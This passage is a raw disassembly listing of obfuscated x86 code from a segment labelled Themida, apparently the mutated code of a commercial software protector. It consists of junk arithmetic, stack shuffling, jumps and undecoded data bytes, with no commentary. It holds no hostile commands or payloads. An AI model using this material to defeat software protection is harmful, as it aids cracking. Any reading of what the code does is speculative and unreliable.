loc_59F734:				; CODE XREF: Themida_:00595EDCj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	eax, 4
		push	esi
		mov	esi, 7CEB15BAh
		not	esi
		add	esi, 2D7B7A25h
		xor	esi, 0D33D593Ah
		shl	esi, 4
		sub	esi, 3AD3D4FCh
		add	eax, esi
		push	dword ptr [esp]
		pop	esi
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		push	edi
		mov	edi, 4
		add	ecx, edi
		pop	edi
		xchg	ecx, [esp]
		mov	esp, [esp]
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	ecx, [esp]
		sub	esp, 4
		mov	[esp], eax
		push	esp
		jmp	loc_592D83
; ---------------------------------------------------------------------------


loc_59F79B:				; CODE XREF: Themida_:005A3C64j
		sub	ebx, 75A01972h
		neg	ebx
		dec	ebx
		sub	ebx, 0AD14B740h
		sub	esi, ebx
		pop	ebx
		mov	ebx, [esp]
		add	esp, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_597584
; ---------------------------------------------------------------------------
dword_59F7C4	dd 0FF3877FFh, 0C8B2434h, 3DE95324h		db 90h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59F7D3:				; CODE XREF: Themida_:005A2A8Cj
		and	eax, 2ACF3E6Ah
		shl	eax, 2
		xor	eax, 0F3AAEEE4h
		neg	eax
		not	eax
		shl	eax, 6
		dec	eax
		sub	eax, 110E2474h
		sub	eax, 518FB447h
		add	edx, 69AC1A4Eh
		add	edx, eax
		sub	edx, 69AC1A4Eh
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 4
		jmp	loc_59BD3D
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 5BF9BE56h, 3DE912A2h
		db 0F0h, 2 dup(0FFh)
byte_59F81F	db 0ACh			; DATA XREF: Themida_:00590860o
		dd 92C0604h, 0FFBC66E9h, 0E9DDF7FFh, 0FFFFC219h, 0FF1266E9h
		dd 0BEFB8FFh, 0F750199Ch, 0C1582414h, 0E92D06E0h, 0E9781BDCh
		dd 0FFFFCCE7h, 0FC8FEF81h, 0F9890340h, 4BA525Fh, 0E94D8635h
		dd 0FFFFFDDBh
; ---------------------------------------------------------------------------


loc_59F860:				; CODE XREF: Themida_:005A0390j
		mov	edi, 4
		add	edx, edi
		pop	edi
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp


loc_59F872:				; CODE XREF: Themida_:00591109j
		push	5554h
		jmp	loc_599D6A
; ---------------------------------------------------------------------------


loc_59F87C:				; CODE XREF: Themida_:0059A9DAj
		pop	eax
		xchg	ebp, [esp]
		pop	esp
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_5A2F09
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 0E9000000h, 2BBBh
; ---------------------------------------------------------------------------


loc_59F8A0:				; CODE XREF: Themida_:00590F0Dj
		add	esp, 4
		jmp	loc_5968AA
; ---------------------------------------------------------------------------
		db 81h
		dd 0A008246Ch, 5B01C00Dh, 5212E956h, 0ED80FFFFh, 66D8E9D3h
		dd 5453FFFFh, 0FFEBF6E9h
		db 0FFh
byte_59F8C9	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:005907F8o
		dd 5B545324h, 0FFF14CE9h, 3B1968FFh, 0C158261Ch, 684805E8h
		dd 0
		dd 0B5242C81h, 0E96A5D22h, 0FFFFB633h, 4B4EC5BAh, 5AD68944h
		dd 84CAE952h, 0C281FFFFh, 0BCFF95A6h, 0E95AD101h, 0FFFFA36Fh
		dd 4240483h, 4C5815Dh, 83000000h, 0EC8304C5h, 242C8904h
		dd 42474FFh, 83242C8Bh,	48F04C4h, 0EC835C24h, 24348904h
		dd 4EC81h, 24890000h, 24048324h, 0B8505E04h, 4,	0E6E9C601h
		db 7, 2	dup(0)
; ---------------------------------------------------------------------------


loc_59F94F:				; CODE XREF: Themida_:0059301Ej
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5A11C9
; ---------------------------------------------------------------------------


loc_59F95B:				; CODE XREF: Themida_:0059615Aj
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		test	ecx, eax
		pushf
		jmp	loc_5925E9
; ---------------------------------------------------------------------------
		dd 6644C181h, 0E98103C6h, 7ADD0BC1h, 4BDEE9h
		db 0
; ---------------------------------------------------------------------------


loc_59F979:				; CODE XREF: Themida_:005A3A0Cj
		mov	[esp], ebx
		mov	ebx, 2
		mov	ecx, ebx
		pop	ebx
		add	edi, 0C42E90h
		add	edi, ecx
		push	edx
		mov	edx, 0C42E90h
		sub	edi, edx
		pop	edx
		mov	ecx, [esp]
		jmp	loc_5A215E
; ---------------------------------------------------------------------------
		db 31h,	4, 24h
		dd 5C240433h, 9C2424D2h, 0FF10EEE9h, 4C481FFh, 68000000h
		dd 6777h, 89241C89h, 3115E9E3h,	34FFFFFFh, 2434FF87h, 607BE9h
		db 0
; ---------------------------------------------------------------------------


loc_59F9CD:				; CODE XREF: Themida_:00599E2Cj
		pop	edi
		sub	esi, 4
		jmp	loc_5A1F81
; ---------------------------------------------------------------------------
		dw 0A468h
		dd 0E9000074h, 1184h
; ---------------------------------------------------------------------------


loc_59F9E0:				; CODE XREF: Themida_:0059A44Bj
		mov	[esp], ebx
		push	35F7h
		mov	[esp], eax
		push	ecx
		mov	ch, dl
		jmp	loc_590D37
; ---------------------------------------------------------------------------
byte_59F9F3	db 0FFh			; DATA XREF: Themida_:00590988o
		dd 76E92434h, 81FFFF11h, 0A30A6EF7h, 5FFE0131h,	0FF17A3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59FA09:				; CODE XREF: Themida_:0059DCB5j
		pop	esp
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		mov	edi, ebp
		mov	ebp, [esp]
		push	ebx
		mov	ebx, esp
		push	eax
		mov	eax, 4
		jmp	loc_5A3E8D
; ---------------------------------------------------------------------------


loc_59FA27:				; CODE XREF: Themida_:0059D4F0j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 41CD0218h
		neg	eax
		push	edi
		jmp	loc_59B210
; ---------------------------------------------------------------------------
		dw 0C829h
		dd 0FFE718E9h, 0C09B0FFh, 3E8C0B4h, 89518D04h, 9819E9E1h
		dd 0C289FFFFh, 9C28158h, 0E9B75A9Bh, 0FFFFED77h, 2DA5BA52h
		dd 0D1897775h, 0F181415Ah, 326676B1h, 0FFDF0EE9h, 0D7C581FFh
		dd 89C3A53Dh, 242C8BE9h, 1E53E9h, 0D1F58100h, 81470F0Ah
		dd 122F2FC6h, 81EE0172h, 122F2FEEh, 0B8505D72h,	4, 2408E9h
		dd 0CF18100h, 0C1327D26h, 6AE906E9h, 5EFFFFCCh,	8B241487h
		dd 48F2424h, 0D3665C24h, 0E99C2404h, 0FFFFF37Fh, 4EC8358h
		dd 68240489h, 936h, 1F9CE9h, 24348900h,	4BEh, 0E9F52900h
		dd 0FFFFA55Fh
; ---------------------------------------------------------------------------


loc_59FAE8:				; CODE XREF: Themida_:005964B2j
		mov	[esp], ecx
		mov	ecx, 6486B3Fh
		and	edx, ecx
		jmp	loc_5918CC
; ---------------------------------------------------------------------------
		db 29h
		dd 0DE95AD1h
		db 0A1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59FAFF:				; CODE XREF: Themida_:00596C4Aj
		inc	edx
		jmp	loc_5A5AA9
; ---------------------------------------------------------------------------


loc_59FB05:				; CODE XREF: Themida_:005A45D9j
		pop	eax
		push	edx
		mov	edx, 71C371E3h
		dec	edx
		push	esi
		mov	esi, 48774D46h
		shr	esi, 8
		add	esi, 795BBF8h
		add	edx, 50E8049Bh
		add	edx, esi
		sub	edx, 50E8049Bh
		jmp	loc_59F6ED
; ---------------------------------------------------------------------------
		db 81h
		dd 0A643DEF3h, 0C3814B2Ah, 0AF32528Eh, 8B5BDD29h, 0C483243Ch
		dd 3BE95204h, 0B5FFFFDAh, 5E5C0C4h, 0B050D5F6h,	28D234B3h
		dd 24048BC5h, 4C481h, 0E8000000h, 28BB2C59h, 66BB04D8h
		dd 51DDE952h, 0C890000h, 8995E924h, 1C89FFFFh, 730FBB24h
		dd 0C3815DEDh, 0FFFFFFFFh, 4B03EBC1h, 62F2EB81h, 0EB813283h
		dd 0D93A4B6Ah, 525BDF01h, 4BAh,	0E9D72900h, 164Ah, 205h
		dd 24048700h, 6065E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59FBB6:				; CODE XREF: Themida_:0059740Ej
		pop	ecx
		push	ecx
		push	4
		pop	ecx
		add	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_595028
; ---------------------------------------------------------------------------
		dd 78E9C309h
		db 67h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59FBDB:				; CODE XREF: Themida_:005A3FC3j
		mov	eax, 1A095741h
		add	eax, 0FFFFFFFFh
		inc	eax
		sub	eax, 31341599h
		inc	eax
		and	eax, 5EA9744Bh
		sub	eax, 48814005h
		add	ebp, eax
		pop	eax
		jmp	loc_5A45B8
; ---------------------------------------------------------------------------
		dw 0E5BFh
		dd 296B3A2Dh, 0C5815FFDh, 161D1ACDh, 83240C8Bh,	96E904C4h
		dd 0B9FFFFB5h, 7B2309C3h, 0E959CB01h, 0FFFFD999h
; ---------------------------------------------------------------------------


loc_59FC24:				; CODE XREF: Themida_:0059D4B1j
		mov	ecx, esp
		add	ecx, 4
		push	eax
		mov	eax, 4
		add	ecx, eax
		pop	eax
		xchg	ecx, [esp]
		pop	esp
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		shr	eax, 0Bh
		xor	ecx, eax
		push	3F34h
		mov	[esp], ecx
		jmp	loc_599019
; ---------------------------------------------------------------------------


loc_59FC5B:				; CODE XREF: Themida_:00592159j
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_596F8A
; ---------------------------------------------------------------------------
		dd 4EE81h, 0B5680000h, 8900004Ah, 74FF2434h, 8F5E0424h
		dd 0F3E92404h
		db 89h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59FC83:				; CODE XREF: Themida_:005A4408j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_599792
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 5E545624h, 641BE952h, 248BFFFFh, 0BB0F6624h,	0E99C2404h
		dd 0FFFF0DEBh
; ---------------------------------------------------------------------------


loc_59FCB0:				; CODE XREF: Themida_:005A025Fj
		xor	edx, 1B9C09Bh
		mov	ebx, edx
		pop	edx
		jmp	loc_590A9B
; ---------------------------------------------------------------------------
		dw 0F75Ah
		dd 1149E9D2h, 0D0E9FFFFh, 55FFFF0Dh, 0C5815D54h, 4, 53AAE953h
		dd 3433FFFFh, 24343124h, 8B243433h, 48F2424h, 0F1F65C24h
		dd 0CCB60F66h, 64EA6866h, 240C8966h, 0C8B60F66h, 0E99C5166h
		dd 0FFFF0D97h
dword_59FD04	dd 24048B66h, 55E78957h, 0FF1813E9h		db 0FFh
; ---------------------------------------------------------------------------


loc_59FD11:				; CODE XREF: Themida_:00599561j
		sub	ebx, 83006C0h
		jmp	loc_59BEFB
; ---------------------------------------------------------------------------
		dd 5C240487h, 0BF243C89h, 1CFB2D3Bh, 1572E9h
		db 0
; ---------------------------------------------------------------------------


loc_59FD2D:				; CODE XREF: Themida_:00595944j
		add	ebx, 4
		push	ecx
		jmp	loc_597EA3
; ---------------------------------------------------------------------------
		db 0FEh, 0C0h, 2Ch
		dd 0C38853D4h, 0FFE9FDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59FD45:				; CODE XREF: Themida_:0059ACD9j
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_59B88F
; ---------------------------------------------------------------------------
		dd 0E889F589h, 3E95E5Dh, 87FFFFB2h, 575C240Ch, 87647EBFh
		dd 0E7C14707h, 89E78108h, 505CE374h, 164B60B8h,	6C6B3503h
		dd 0C8E9112Eh, 56FFFFA8h, 0C9B2B5BEh, 10C3819Eh, 165FC60h
		dd 10EB81F3h, 8B65FC60h, 0C4812434h, 4,	0FFAD22E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59FDA1:				; CODE XREF: Themida_:0059426Fj
		neg	esi
		jmp	loc_5923A5
; ---------------------------------------------------------------------------
		dd 4C381h, 0E9500000h, 0FFFF2147h, 478CC781h, 34FF1604h
		dd 89515824h, 4C181E1h,	57000000h, 0C59B1BFh, 0F7E7D10Fh
		dd 0FDCF81DFh, 0C1447839h, 0EF8108EFh, 61322A36h, 5323E951h
		dd 0C1380000h, 0CADE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59FDEE:				; CODE XREF: Themida_:0059FFA2j
		sub	ebp, 11B72D4h
		add	ebp, edx
		jmp	loc_597375
; ---------------------------------------------------------------------------
		db 81h
		dd 0A08444F2h, 233FE94Ah, 43680000h, 8900002Bh,	0BF572414h
		dd 1D3C181Fh, 295FFA89h, 0C3815AD3h, 5246AEAh, 0FF87A5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59FE25:				; CODE XREF: Themida_:005982C8j
		push	esi
		jmp	loc_59A7B1
; ---------------------------------------------------------------------------


loc_59FE2B:				; CODE XREF: Themida_:005928C9j
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		push	2958h
		mov	[esp], esi
		push	42Ch
		mov	[esp], edx
		push	3EBC41B5h
		pop	edx
		push	2131h
		mov	[esp], ecx
		sub	esp, 4
		jmp	loc_5A2069
; ---------------------------------------------------------------------------
		dw 405h
		dd 87000000h, 0EEE92404h, 0BBFFFF2Ah, 0F869E22Eh, 15BDD01h
		dd 0A3E95DE8h, 81FFFF3Dh, 623B74EEh, 0D0BAE918h, 565BFFFFh
		dd 2BEh, 0E9F10100h, 0FFFF9F1Ch, 0BFF6815Eh, 810A0D64h
		dd 0F83E09CEh, 3FE95345h, 5E000052h, 0FF9DFFE9h, 2434FFFFh
		dd 5D54555Fh, 4C581h, 0D1E90000h, 81FFFFCBh, 142224C6h
		dd 81EE0100h, 142224EEh, 0B1E95D00h, 0F7FFFF72h, 4F281D2h
		dd 0E9A62190h, 0FFFF510Fh, 51242C8Bh, 0E902E954h, 4CFEFFFFh
		dd 58660124h, 8B66E188h, 0C4832404h, 0BBE98002h, 0E994E980h
		dd 0FFFF4678h, 0CE9D3F7h
		db 0C8h, 2 dup(0FFh)
byte_59FF03	db 66h			; DATA XREF: Themida_:0059095Co
		dd 5224048Bh, 0FF765AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59FF0D:				; CODE XREF: Themida_:0059944Ej
		shl	edx, 1
		push	dword ptr [edi+24h]
		push	edx
		sub	esp, 4
		jmp	loc_59A5C1
; ---------------------------------------------------------------------------
		db 50h
		dd 7B253BB8h, 58C10141h, 2D59C801h, 2AE14CADh, 0FF9FD1E9h
		dd 243489FFh, 430BCCBEh, 4C45E92Eh, 0DE29FFFFh,	2FAAE95Bh
		dd 14330000h, 24143124h, 0FFC26BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59FF51:				; CODE XREF: Themida_:00598347j
		mov	bl, 45h
		or	bl, 0BBh
		shr	bl, 4
		push	ax
		jmp	loc_5A004E
; ---------------------------------------------------------------------------


loc_59FF60:				; CODE XREF: Themida_:00592D5Aj
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_599CAA
; ---------------------------------------------------------------------------
		dw 0E956h
		dd 0FFFFAE90h, 8E9F131h, 89FFFFEBh, 4C681E6h, 55000000h
		dd 4BDh, 1EC68100h, 1068D1Eh, 1EEE81EEh, 0E9068D1Eh, 0FFFFFF3Ch
; ---------------------------------------------------------------------------


loc_59FF9C:				; CODE XREF: Themida_:00593712j
		push	edx
		mov	edx, 1
		jmp	loc_59FDEE
; ---------------------------------------------------------------------------
		db 0BFh
		dd 2, 15FFE89h,	24348BF5h, 4C481h, 2C330000h, 242C3124h
		dd 5C242C33h, 6C5F68h, 9DACE900h, 0F680FFFFh, 0BAC680A0h
		dd 0C680CEFEh, 398EE91Bh, 2C310000h, 60F7E924h,	0C481FFFFh
		dd 4, 0FF69D7E9h, 3B0DBFFFh, 0FD01781Fh, 56DD295Fh, 0FF6424E9h
		dd 0C8B5BFFh, 4C48124h,	83000000h, 1C8904ECh, 88E78824h
		dd 8B585BFAh, 0C483241Ch, 0E9138804h, 0FFFF1D29h, 4D05055Dh
		dd 0D829115Dh, 0FFC76DE9h, 81465EFFh, 0D4A2EC6h, 90EE8126h
		dd 0E93B423Fh, 3E3Bh, 0C8568h, 0D616E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A004E:				; CODE XREF: Themida_:0059FF5Bj
		mov	al, 0C4h
		sub	bl, al
		pop	ax
		not	bl
		xor	bl, 8Eh
		mov	dl, bl
		jmp	loc_5A4A10
; ---------------------------------------------------------------------------


loc_5A0060:				; CODE XREF: Themida_:005A3193j
		push	ebx
		mov	ebx, 4
		jmp	loc_59BA0A
; ---------------------------------------------------------------------------
		db 52h
		dd 0C2815A54h, 4, 4C281h, 14870000h, 0FF575C24h, 5F042474h
		dd 0FF52DCE9h, 4C481FFh, 8B000000h, 0C483241Ch,	0E516804h
		dd 0C890000h, 6B25224h,	0E95AD588h, 337h
; ---------------------------------------------------------------------------


loc_5A00A8:				; CODE XREF: Themida_:00596145j
		mov	[esp], eax
		push	ecx
		mov	ecx, 3A253CDBh
		sub	ecx, 5760E5Dh
		add	ecx, 230A1BB2h
		push	ecx
		xor	dword ptr [esp], 184D4DACh
		pop	eax
		push	1369h
		mov	[esp], esi
		mov	esi, 184D4DACh
		jmp	loc_5A48E0
; ---------------------------------------------------------------------------


loc_5A00D8:				; CODE XREF: Themida_:0059D38Bj
		mov	edi, [esp]
		sub	esp, 4
		mov	[esp], eax
		push	esp
		jmp	loc_5A27B9
; ---------------------------------------------------------------------------
		db 58h
		dd 405h, 2CE95700h, 8FFFFF30h, 4832404h, 0E9580424h, 0FFFF0D17h
		dd 48BDE95Bh, 0F42D0000h, 6804471Bh, 48CAh, 0E9241489h
		dd 3E1Fh, 0E99FB353h, 0FFFF1D1Fh, 0EB81D301h, 4CD82756h
		dd 15F7E95Ah, 0D589FFFFh, 302EE9h, 0C6815800h, 4, 31243433h
		dd 34332434h, 430CE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A014A:				; CODE XREF: Themida_:00590E97j
		inc	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 47600014h
		and	edx, 28AB18CFh
		add	edx, 21ED4180h
		shr	edx, 7
		inc	edx
		sub	edx, 0EA30FFA6h
		jmp	loc_59DF29
; ---------------------------------------------------------------------------


loc_5A0180:				; CODE XREF: Themida_:00590E70j
		sub	esi, offset sub_42447C
		add	ebp, esi
		pop	esi
		push	6A5Ah
		mov	[esp], ebp
		push	dword ptr [esp+4]
		jmp	loc_59CD80
; ---------------------------------------------------------------------------


loc_5A019A:				; CODE XREF: Themida_:005945BCj
		add	esi, 0D46D5410h
		sub	esi, 6B691968h
		not	esi
		jmp	loc_5A0E43
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 4
		dd 87000000h, 895C2414h, 0E6892434h, 4C681h, 0AE90000h
		db 4Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A01C7:				; CODE XREF: Themida_:00590FB9j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	ebx
		mov	ebx, 4
		add	ecx, 509D4593h
		jmp	loc_5962DE
; ---------------------------------------------------------------------------
		db 0BDh, 94h, 67h
		dd 0EA213576h, 0E9DAF75Dh, 0FFFFB02Dh
; ---------------------------------------------------------------------------


loc_5A01F4:				; CODE XREF: Themida_:005972B9j
		mov	cl, dh
		pop	edx
		push	eax
		mov	al, cl
		jmp	loc_59A85F
; ---------------------------------------------------------------------------
		db 5
		dd 36590F64h, 642DC829h, 2D36590Fh, 4A4233DDh, 592434FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_5A3FB4
; ---------------------------------------------------------------------------
		dd 87DAE951h
		db 2 dup(0FFh)
word_5A0222	dw 30ACh		; DATA XREF: Themida_:005908C4o
		dd 109868D8h, 0F4E90000h, 2D000004h, 1F8D0E33h,	48BC289h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 9C32084h
		add	edx, 0FFFFFFFFh
		dec	edx
		xor	edx, 9C32086h
		add	ebp, edx
		pop	edx
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	edx, 1031625Bh
		shr	edx, 3
		jmp	loc_59FCB0
; ---------------------------------------------------------------------------
		dd 0E981D1F7h, 8EE7891Bh, 8159CE09h, 1E35F4CEh,	0F5F6816Fh
		dd 0E9498F50h, 0FFFF30E8h, 4EC81h, 24890000h, 24048124h
		dd 4, 4BE565Dh,	52000000h, 705EDBBAh, 8BD50179h, 0C4832414h
		dd 0C3B6E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A02AA:				; CODE XREF: Themida_:00591B5Ej
		push	edi
		mov	edi, 525C3E7Ch
		or	edi, 21616871h
		jmp	loc_5A2782
; ---------------------------------------------------------------------------
		db 87h
		dd 45C243Ch, 2CF028EFh,	3BBFE9EFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A02CA:				; CODE XREF: Themida_:005A07BDj
		not	ebx
		xchg	ebx, ebp
		xchg	ebx, ebp
		push	ebx
		push	edi
		pop	ebx
		pop	edi
		push	426Eh
		mov	[esp], edi
		dec	dword ptr [esp]
		not	dword ptr [esp]
		jmp	loc_59A6EE
; ---------------------------------------------------------------------------
		db 58h
		dd 6ACCBF57h, 5DE93E33h, 81FFFFA1h, 0E0162DC5h,	5DEA0105h
		dd 1B5C281h, 0E95010B7h, 0FFFFB943h, 0C281E289h, 4, 3304C283h
		dd 14312414h, 24143324h, 66F6815Ch, 8B3D4F3Ah, 0C481243Ch
		dd 4, 0FF2F43E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A0331:				; CODE XREF: Themida_:005984D6j
		add	esp, 4
		push	edi
		jmp	loc_59365F
; ---------------------------------------------------------------------------


loc_5A033A:				; CODE XREF: Themida_:0059D0D3j
		add	esp, 4
		jmp	loc_590A9B
; ---------------------------------------------------------------------------


loc_5A0342:				; CODE XREF: Themida_:0059670Bj
		mov	ecx, [esp]
		jmp	loc_594FDC
; ---------------------------------------------------------------------------


loc_5A034A:				; CODE XREF: Themida_:0059C5BFj
		xchg	edx, [esp]
		pop	esp
		add	esp, 4
		jmp	loc_594AE5
; ---------------------------------------------------------------------------
word_5A0356	dw 77FFh		; DATA XREF: Themida_:00590A2Co
		dd 73DE92Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A035E:				; CODE XREF: Themida_:0059ED15j
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		or	eax, eax
		jz	loc_5A19A0
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_5A43B5
; ---------------------------------------------------------------------------


loc_5A038F:				; CODE XREF: Themida_:00599286j
		push	edi
		jmp	loc_59F860
; ---------------------------------------------------------------------------
		db 54h,	5Dh, 53h
		dd 0C381E389h, 4, 4EB81h, 1C870000h, 60E95C24h,	5FFFF18h
		dd 4, 6A7868h, 243C8900h, 8904EC83h, 5BBB241Ch,	81732C41h
		dd 570984C3h, 2452E95Bh, 0C7B0FFFFh, 50C28852h,	9E9D488h
		dd 2C000053h, 51E82889h, 0B0E989B1h, 5EFFFFF2h,	57242C8Bh
		dd 0C781E789h, 4, 4C781h, 3C870000h, 0EE835C24h, 4312E9FFh
		dd 0EC81FFFFh, 4, 0BD242C89h, 7DB31DE3h, 3B48CD81h, 0E9534CA1h
		dd 572Bh
; ---------------------------------------------------------------------------


loc_5A0424:				; CODE XREF: Themida_:0059549Cj
		xchg	ebp, [esp]
		mov	esp, [esp]
		shr	ecx, 0Bh
		push	edi
		mov	edi, ebx
		jmp	loc_5A2847
; ---------------------------------------------------------------------------
		db 68h,	0F8h, 7Bh
		dd 24890000h, 24048124h, 4, 0E924048Fh,	0FFFF852Fh, 0CBEBE95Fh
		dd 0BD55FFFFh, 4, 335DEF01h, 0E2E9243Ch
		db 41h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A0463:				; CODE XREF: Themida_:0059A820j
		sub	[esp+0Ch], eax
		pop	eax
		pop	ecx
		jmp	loc_5A571C
; ---------------------------------------------------------------------------
		dw 2489h
		dd 24048324h, 14E95804h, 29FFFF2Ch, 0E908245Ch,	0FFFFE703h
		dd 0E9240487h, 39D3h, 240C8B5Bh, 4C481h, 4B590000h, 39F8EB81h
		dd 0DA01FFFDh, 2414875Bh, 0E201E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A04AA:				; CODE XREF: Themida_:0059D6DFj
		pop	ecx
		xchg	ebp, [esp]
		pop	esp
		pop	eax
		sub	edi, ebp
		pop	ebp
		push	edi
		sub	dword ptr [esp], 20A273ACh
		jmp	loc_59D878
; ---------------------------------------------------------------------------
		dd 515C681h, 875D6C93h,	248B2434h, 0BB0F6624h, 0E99C2404h
		dd 0FFFF05C3h, 0DFF7DFF7h, 0E907EFC1h, 0FFFF53F7h
; ---------------------------------------------------------------------------


loc_5A04E4:				; CODE XREF: Themida_:005A47F1j
		or	eax, 796F558Ch
		shr	eax, 3
		jmp	loc_59111B
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 2434FF54h
		db 59h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_598931
; ---------------------------------------------------------------------------
		db 51h
		dd 0FFE604E9h, 81E389FFh, 4C3h,	4C38100h, 33000000h, 1C31241Ch
		dd 241C3324h, 0E089505Ch, 405h,	4E88300h, 5C240487h, 0BE243489h
		dd 4, 335EF301h, 1C31241Ch, 241C3324h, 2434FF5Ch, 26536859h
		dd 2C890000h, 0F6E95424h
		db 33h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A055B:				; CODE XREF: Themida_:005A3C75j
		sub	esi, 5BFF4A4Fh
		add	esi, ecx
		jmp	loc_59C098
; ---------------------------------------------------------------------------
		dd 4EC8157h, 0E9000000h, 0FFFF4FABh, 5C240C87h,	0E9CF3166h
		dd 0FFFFC16Fh, 4C481h, 4810000h, 0B45DA824h, 24040135h
		dd 0A8242C81h, 0E935B45Dh, 0FFFF18B8h, 9685553h, 5D1B7416h
		dd 3B3ACD81h, 0EDC12CF0h, 0C9F58103h, 893DB897h, 0E9555DEBh
		dd 0FFFFB5EAh
; ---------------------------------------------------------------------------


loc_5A05BC:				; CODE XREF: Themida_:005A5041j
		sub	esi, edx
		add	esi, 40BA7780h
		pop	edx
		xchg	esi, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, ebx
		push	esi
		pop	ecx
		mov	esi, [esp]
		jmp	loc_59ADF4
; ---------------------------------------------------------------------------
		dd 0FFF7315Fh, 835E2434h, 0E94704C4h, 0FFFF62D4h, 4C681h
		db 2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_59AE6F
; ---------------------------------------------------------------------------
		dw 4505h
		dd 810B890Ah, 0FB111BEBh, 57C30174h, 1036C1BFh,	56DFF74Ah
		dd 0F4B824BEh, 8BF72940h, 0C4832434h, 5FFB0104h, 8324048Bh
		dd 555204C4h, 972C6DBDh, 5DEA8963h, 289CE9h
		db 0
; ---------------------------------------------------------------------------


loc_5A0641:				; CODE XREF: Themida_:00598E24j
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_59D108
; ---------------------------------------------------------------------------
		db 50h,	0E9h, 0Ah
		dd 56FFFFBFh, 0DE1436BEh, 4E6C16Fh, 0FFEABFE9h,	96E955FFh
		dd 0BFFFFFA6h, 4, 835FF801h, 43302C0h, 24043124h, 5C240433h
		dd 24048B66h, 8904EC83h, 0E189240Ch, 4C181h, 69E90000h
		dd 87FFFF29h, 2FB1E9DAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A06A6:				; CODE XREF: Themida_:0059BCDCj
		pop	ebp
		sub	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		push	edi
		mov	edi, 4
		jmp	loc_5939F9
; ---------------------------------------------------------------------------


loc_5A06CA:				; CODE XREF: Themida_:0059AA7Cj
		mov	ebx, eax
		push	4220h
		mov	[esp], ebp
		jmp	loc_593669
; ---------------------------------------------------------------------------


loc_5A06D9:				; CODE XREF: Themida_:00597343j
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		push	3B92h
		jmp	loc_595644
; ---------------------------------------------------------------------------
		dd 348BF731h, 4C48124h,	55000000h, 4B7BC3BDh, 47F5811Dh
		dd 0E97D7B3Ah, 0FFFF6DF9h, 942B4B9h, 244C2904h,	0E9E95908h
